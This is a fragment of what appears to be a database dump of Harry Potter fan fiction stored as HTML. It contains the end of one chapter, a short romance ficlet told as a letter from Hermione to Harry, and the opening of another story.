where I create my spells, perhaps I can show you what that thief had taken.&#8221;&nbsp; Holding her hand out to Hermione, Ereena could feel something incredibly interesting about this girl.</p>\n\n<p>Hesitating at first, Hermione then gathered her wits and bravery and slipped her hand into Ereena&#8217;s.&nbsp; She was pulled to her feet and with a wink, Ereena turned around pulling Hermione behind her.&nbsp; Ereena hadn&#8217;t gotten but two steps, when she turned around sharply.&nbsp; &#8220;The rest of you stay here.&#8221;&nbsp; Her eyes blazed red.</p>\n\n<p>&#8220;Will Hermione be all right if she is alone with you?&#8221; Harry asked, suspicion lacing his voice.</p>\n\n<p>&#8220;Certainly,&#8221; Ereena said, then pulling Hermione along leaving no time for arguing&nbsp; &#8220;So, what time period do you come from?&#8221;</p>\n\n<p>Hermione was shocked, &#8220;How did you know?&#8221;</p>\n\n<p>Snickering, Ereena smiled brightly.&nbsp; &#8220;The oracle told me of you, of what you would do for me and my orb.&#8221;</p>\n\n<p>Feeling a sudden chill run up her spine, Hermione remembered everything about that orb, no matter how long it has been, she would never, ever forget it.&nbsp; &#8220;What will I be doing for you?&#8221;</p>\n\n<p>Ereena did not answer Hermione&#8217;s question, she would ask one of her own.&nbsp; &#8220;Tell me, how did you feel when it was in your presence?&#8221;&nbsp; She was now walking side by side with Hermione.</p>\n\n<p>&#8220;I was slowly losing my mind, your orb is bad.&nbsp; It shouldn&#8217;t even exist.&#8221;</p>\n\n<p>&#8220;It made you believe your worst fears, didn&#8217;t it?&#8221;&nbsp; Ereena was looking away from Hermione but there was a very pleased smile upon her face.&nbsp; &#8220;That is the whole point of it my dear, how far did it control you?&#8221;</p>\n\n<p>Hermione shook her head, &#8220;It didn&#8217;t control me into hurting anyone if that&#8217;s what you&#8217;re asking.&#8221;</p>\n\n<p>&#8220;Then you did not have it long enough,&#8221; Ereena said with a hint of disappointment.&nbsp; The continued on through the halls and finally came to a stairwell that led downwards in a spiral.&nbsp; &#8220;Down there is my creating room, would you like to see it?&#8221;</p>\n\n<p>She had to admit, she was curious.&nbsp; Even if Hermione here was in the home of the so called evil twin, she wanted to know what this Ereena was actually capable of.&nbsp; &#8220;Yes Ereena, please show me.&#8221;</p>\n\n<p>With a smile that would rival the Cheshire cat, Ereena&#8217;s grin was in fact very large.&nbsp; She clutched Hermione&#8217;s hand a little tighter with her left hand, and then with her right she pushed in one of the ice blocks in the wall.&nbsp; There was the sound of something scraping, part of the wall opened allowing the two of them to enter the creating room.</p>\n\n<p>Ereena lit the lamps and the room filled with bright light, &#8220;So what do you think?&nbsp; I know it is a bit messy, but when I create there is no time for cleaning.&#8221;&nbsp; Walking over to one of the ice sculpted chairs that were lying on its side; she picked it up and started making the room a bit more presentable.&nbsp; Like the other rooms in the palace, this one too was made of ice, even the shelves that lined books of spells.&nbsp; There were glass beakers on a long ice table with different colored liquids in it.&nbsp; The room was definitely a lot messier than Merlin&#8217;s cave back at Camelot, scrolls laid about the floor crumpled and torn, books were left open, their pages down on the table which would in fact ruin the bindings.&nbsp; Candles only half used were thrown about the corners.&nbsp; </p>\n\n<p>Something sparkled getting Hermione&#8217;s attention.&nbsp; It was round and made of crystal.&nbsp; While Ereena started to straighten up Hermione cautiously stepped closer to the object.&nbsp; She remembered this thing.&nbsp; Perhaps if she took it now and threw it down some hole or something, it would save herself from having to go through all this pain later.&nbsp; Her eyes widened with her plan, yes it was a good plan.&nbsp; Hermione did not realize that she had this dazed look in her eyes as she reached for orb.&nbsp; Blinking, getting her attention back to what she was going to do.&nbsp; She decided it was probably better if she did not look at it.</p>\n\n<p>Reaching down, Hermione tore the last bit of her toga which was ready to be ripped off anyway, and cautiously while keeping a close watch on Ereena, bent slightly and wrapped the cloth around the orb, securing it from her sight.&nbsp; Making sure that she was not going to get caught, Hermione with the orb in hand reached up and slipped it into the opening of her pack.&nbsp;&nbsp; She would get rid of this thing if it was the last thing she would ever do. </p>\n\n<p>Harry paced the floor, waiting for Hermione and Ereena&#8217;s return, was it exactly wise to let Hermione go off with a woman who has an orb that inflicts pain and torture on someone.&nbsp; What was he thinking, why did he let Hermione go alone, what if she was in danger, what if she was&#8230; he gulped&#8230;dead.&nbsp;&nbsp; &#8220;Hermione!&#8221; He turned around to head in the direction the two girls left in, when he saw Hermione there, smiling and laughing.</p>\n\n<p>Relief surged through his entire being and he sank to the chair. Thank the fates for that.&nbsp; He thought to himself.&nbsp; He figured he better tell Hermione that the plan had changed.&nbsp; That they were going to journey to the Sapphire City to pay a visit to this oracle, perhaps she could help them with their quest and journey home.&nbsp; He just hoped that Hermione understood and did not blow a fuse.&nbsp; </p>\n\n<p>Enzo was mostly quiet while the plans were being rearranged, he dreaded this, seeing the oracle, he would have to face her again and he really wasn&#8217;t looking forward to this.</p>\n\n<p>======</p>\n\n<p>Well that is it for chapter 12, I know it has been awhile since the update, but I hope you all stayed with me in the long wait.&nbsp; I&#8217;ll try to get the next one out sooner.&nbsp;&nbsp; Things to come in the next chapter.&nbsp;&nbsp; The oracle, orbs, Sapphire City,&nbsp; Jealousy and what&#8217;s this&#8230; a yeti?&nbsp; *Grins*&nbsp; So Until next time readers.</p>\n\n<p>Remember to review,</p>\n\n<p>Thank you,</p>\n\n<p>Ryoko Blue</p> '),
	(46, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Title</b>: Dear\nHarry&#8230;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Ship</b>: H/Hr</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Summary</b>: Hermione\nfinally says the things she never dared to say in the form of a letter&#8230; </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Rating</b>: High\nPG-13, low R. </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>A/N</b>: This is a\nlittle ficlet I desperately needed to write&#8230; I hope you like it. Please please\nplease review!!!!!!!! I need reviews to review, but flames will heat my big\nbehind!</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>Dear Harry,</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;ll\nnever forget the day I met you and Ron. I still can&#8217;t believe the first thing I\nsaid to you was &#8216;Have you seen a toad? A boy named Neville has lost one.&#8217; I\nstill blush when I think about that. In truth I just wanted to see if the real\nBoy-Who-Lived was on the train. That embarrasses me even more! </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>Later that\nyear you saved my life- for the first time. I will never forget what you did. I\nwould never be here without you. Not a day goes by when I don&#8217;t realize how\nmany times I have died but didn&#8217;t because of you. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>Then in the\nsecond year- how will I ever thank you for that? You assured me I wasn&#8217;t just a\nmuggle-born. I was also a person and the smartest witch in the year. Then when\nI was petrified you battled the basilisk, endangering your own life.&nbsp; For that I thank you, Harry. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>The next\nyou saved me from the most horrible monster of all- myself. If you hadn&#8217;t shown\nme that I was killing myself from all my classes I would&#8217;ve worked myself to\ndeath. Then you were my friend when Ron wasn&#8217;t. After that we both saved\nSirius. That was the first thing we really did together. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>In our\nfourth year I became a young woman and dated Viktor Krum and truth be told, I\nnever liked him much. He was controlling and egotistical. Two factors that I\nhate, two factors that you don&#8217;t possess. When you returned from fighting\nVoldemort for the fourth time you returned&#8230; changed. You&#8217;d seen things that I\ndon&#8217;t want to imagine. You watched poor Cedric Diggory get murdered. I couldn&#8217;t\nimagine how you pulled through. The last time we saw you that year we shared\nour first kiss. Granted it was on the cheek but&#8230;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>After I\nreturned from Bulgaria I had ended it with Viktor. &#8216;We are at different\nplaces.&#8217; I told you. That was a joke. Viktor took advantage of me. I ended it\nright then and there. Then when school started you began dating Cho Chang. And\nI became jealous. I then realized I had feelings for you. But I played the good\nbest friend card. I supported you no matter what. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>After that\nI dated Ron. Out of spite, malice whatever you&#8217;d want to call it. But I did.\nRon eventually found out. He wasn&#8217;t very pleased. I mean, could you blame him?\nHe&#8217;s been second best to you for everything. But he supported me though as any\ngood friend would and I told him to go after Lavender. I watched as my two best\nfriends fell in love. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>It seemed\nin the sixth year everyone was getting together and falling in love. I felt as\nif I was the only person in the world without someone to love. Even little\nGinny had Draco. Then one day I was walking to the library when I heard you and\nCho Chang talking. She said she couldn&#8217;t believe that you would ever hang\naround with a dirty little mudblood like me. Those words stung. Hard. But then\nyou once again came to my rescue by saying &#8216;you have no right to say that about\nHermione. She&#8217;s ten times the witch you&#8217;ll ever be.&#8217; I think I lost it then. I\nbegan crying. I ran to the common room and didn&#8217;t come out for hours. When I\nfinally did come out you admitted you broke up. You never knew I knew what she\nsaid. But I always did. And I always remembered what you said. It was the\nsweetest thing you ever said. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>In the\nbeginning of seventh year my parents died. I was distraught and I wouldn&#8217;t talk\nto anyone for a long time. Until you barged into my room one day and begged me\nto tell you what was wrong. So I told you. I told you because I figured you&#8217;d\nunderstand. You did. You held me as I cried and listened to me reminisce about\nmy parents.&nbsp; You were there for me. I\ncouldn&#8217;t have been more grateful. Then one day I kissed you. And you kissed me\nback. Then we broke apart and it hit you what we were doing. You muttered\nsomething about being sorry and having to go and left. I felt even more alone,\nbut that was when I realized I loved you. What hurt the most was you wouldn&#8217;t\ntalk to me for a little while. When you finally did it was to tell me you were\nsorry, that you took advantage of me. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>You never\ntook advantage of me, Harry. I told you that I started the kiss, but you\nwouldn&#8217;t listen. I said why don&#8217;t we forget about the kiss and you agreed. That\nreally hurt. I don&#8217;t think you ever realized you hurt me more when you decided\nthat the kiss was nothing than when you actually did kiss me. After that\nexperience I felt like I might as well just die if you wouldn&#8217;t return my\naffections. I almost did kill myself until I realized that it was weak and\ncowardly. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Well, what I&#8217;ve been\ntrying to say is. I love you Harry. I love you more than I can love anyone. I\nlove your messy hair, your bright green eyes and even that scar. The scar that\nmakes you,&nbsp; you. I adore you, Harry James\nPotter and at this point I don&#8217;t care if you live me back. I just really hope\nyou do. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>This is the\nlast day we&#8217;ll have together at Hogwarts because tomorrow is the graduation and\nI just want a real answer. I know it will probably not be the one I want but\nplease, Harry, please just tell me the truth. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>Love,</i> </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>&nbsp;</b></p>\n\n<b>Hermione<u></u></b>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="margin-top:0in;margin-right:30.0pt;\nmargin-bottom:0in;margin-left:.5in;margin-bottom:.0001pt"><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione slipped the\nletter under Harry&#8217;s door and took a deep breath. She ran back to her dorm and\ncried for an hour. She couldn&#8217;t believe she actually wrote that letter! How <i>dare</i>\nshe put her heart on the line like that. It was so&#8230; unlike her. </p>\n\n<p class="MsoBodyTextIndent" style="margin-top:0in;margin-right:30.0pt;\nmargin-bottom:0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="margin-top:0in;margin-right:30.0pt;\nmargin-bottom:0in;margin-left:.5in;margin-bottom:.0001pt">Harry put\nthe last shirt into his trunk and slammed it shut. His eye&#8217;s caught a neat\nlittle envelope on the floor. His curiosity got the best of him and he picked\nit up. &#8216;Harry,&#8217; was written on front with neat handwriting. &#8216;This handwriting\nlooked at lot like Hermione&#8217;s.&#8217; He thought inquisitively. He opened it and read\nit. His jaw dropped. &#8216;She&#8230; she <i>loved </i>him?&#8217; He folded the letter up and\nplaced it back in the envelope. He needed to talk to her. He ran over to her\ndorm and knocked on the door. </p>\n\n&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hermione jumped up, as there was a knock on the door. She stood up and wiped her eyes then went over to the door and opened it. There stood Harry, all nervous and shaking. &#8216;He saw the letter.&#8217; Hermione thought, blushing. Harry looked at her until he took her awkwardly in his arms and pressed his mouth against hers. Hermione seemed to freeze. &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &#8216;Was it happening?&#8217; Hermione thought. &#8216;Is Harry <i>really</i> kissing me?&#8217; She thought. &#8216;Oh my god! Harry is kissing me!&#8217; She realized and then began to kiss him back. After a few minutes they broke apart. Harry still held her close to him. His face was just inches from hers. His breath smelled like peppermint. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, I love you. I loved you forever. Since I first saw you to this second.&#8221; He said, catching her mouth in a kiss once again. Hermione fell back on her bed, with Harry on top of her. She looked at him, and smiled. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you, Harry,&#8221; She said. Harry smiled goofily and kissed again, his tongue hitting her lip, begging to be let into her mouth. She allowed it happily and let it flick back and forth in her mouth. Hermione whimpered, enjoying the feeling. &nbsp;LATER the next morning ;-)&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8217;s eyes fluttered open. &#8216;Where am I?&#8217; He thought. Then the thoughts of the last night fluttered back to him. He smiled and looked at the sleeping figure beside him. Hermione slept, her hair sprawled across the pillow, her cheeks rosy and her lips a soft, kissable pink. He leaned over and kissed her mouth lightly, not wanting to wake her up. Hermione&#8217;s cinnamon colored eyes fluttered open and met his gaze. She smiled. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oops,&#8221; He muttered, smiling back. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good morning,&#8221; She murmured. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t mean to wake you up,&#8221; He apologized. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;There is no other way I&#8217;d like to wake up.&#8221; She assured him, kissing him. Harry held her in his arms after the kiss. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;I truly love you, Hermione Granger.&#8221; Harry said. Hermione smiled. &nbsp;&nbsp;&nbsp;&nbsp; &#8220;I truly love you too, Harry Potter.&#8221; Hermione agreed, pulling him into another kiss&#8230;&nbsp;&nbsp;<b>A/N</b>: Like said, that was a little taster fic&#8230; please review!!!!!&nbsp;&nbsp;&nbsp;REVIEW<br style="mso-special-character:\nline-break">\n<br style="mso-special-character:line-break">\nREVIEW<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\nREVIEW<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\nREVIEWREVIEWREVIEW<br style="mso-special-character:\nline-break">\n<br style="mso-special-character:line-break">\nREVIEW<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\nREVIEW<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\nREVIEWREVIEW&nbsp;PLEASE????????<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n&nbsp;\n\n\n\n\n'),
	(47, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>~ Love in\nBlindness ~ Part 1</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Its over,\nVoldemort.&nbsp; You&#8217;re finished!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">17 year old Harry\nPotter stood over his archenemy, his green eyes blazing.&nbsp; The Dark Lord glared at Harry and pulled\nhimself up to his feet.&nbsp; Around them,\nthe snow-covered Forbidden Forest was silent, not a single creature intruding\non the duel.&nbsp; Near by, a trembling\nHermione Granger and Ron Weasley silently watched the scene, sole witnesses to\nthe final battle between the Dark Lord and the Boy who lived.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m not the one\nwho&#8217;s finished!&#8221; Voldemort hissed.&nbsp; He\nraised his wand in an attempt to fire the killing curse, but before he had the\nchance, Harry fired a powerful burst of magic that slammed into Voldemort&#8217;s\nbody.&nbsp; The Dark Lord was flung back some\nthirty feet and crashed into an old oak tree with a sickening crack.&nbsp; With a hideous twitch, Voldemort&#8217;s body fell\nlimp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Exhausted yet\ntriumphant, Harry turned around to face his two best friends.&nbsp; The look of sheer terror and worry on\nHermione&#8217;s face had been replaced with a small smile.&nbsp; Before Harry could say anything however, Hermione&#8217;s face suddenly\ntook on an expression of alarm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry look\nout!&#8221;&nbsp; Without a single thought of\nhesitation, Hermione shoved Harry out of the way.&nbsp; In the process, a final curse fired by Voldemort slammed into her\nface.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a cry of pure\nrage, Harry blasted Voldemort away, finally finishing the Dark Lord once and\nfor all.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The days that\nfollowed were a time of celebration for the wizarding world.&nbsp; The Boy Who Lived had finally defeated Lord\nVoldemort, whom had been terrorizing the world for decades.&nbsp; Wizards and Witches all over Britain went\nout and celebrated in public and major magical corporations let all their\nemployees have paid vacations to enjoy the celebrations.&nbsp; Minister of Magic Cornelius Fudge declared\nJanuary 23rd, the day of the final defeat of the Dark Lord, a\nholiday and even Hogwarts cancelled classes for a week.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">However, there\nwere two people that did not join in the celebrations.&nbsp; Harry Potter and Ron Weasley were worried\nsick about Hermione who was in a coma in the Hospital Wing.&nbsp; Ron was very upset, spending his time either\nraving around the Gryffindor Common Room or the hallways whenever Madame\nPomfrey kicked him out of the Hospital Wing.&nbsp;\nHe even lost his appetite.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry however was\noutright hysterical.&nbsp; He spent the next\nfew days sitting next to the comatose Hermione holding her hand tightly neither\neating nor sleeping.&nbsp; In fact, if it weren&#8217;t\nfor his breathing people might have mistaken him for some king of statue or\nhave thought he was petrified.&nbsp; After\nmany failed attempts at trying to get Harry to move, Madame Pomfrey had given\nup and simply allowed him to stay in his chair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For the longest\ntime, Harry simply sat as if he himself was comatose.&nbsp; Eventually, after about three days, Ron finally came to his\nsenses and tried to convince Harry to move, with encouragement from the other\nGryffindors.</p>\n\n<p class="MsoNormal" 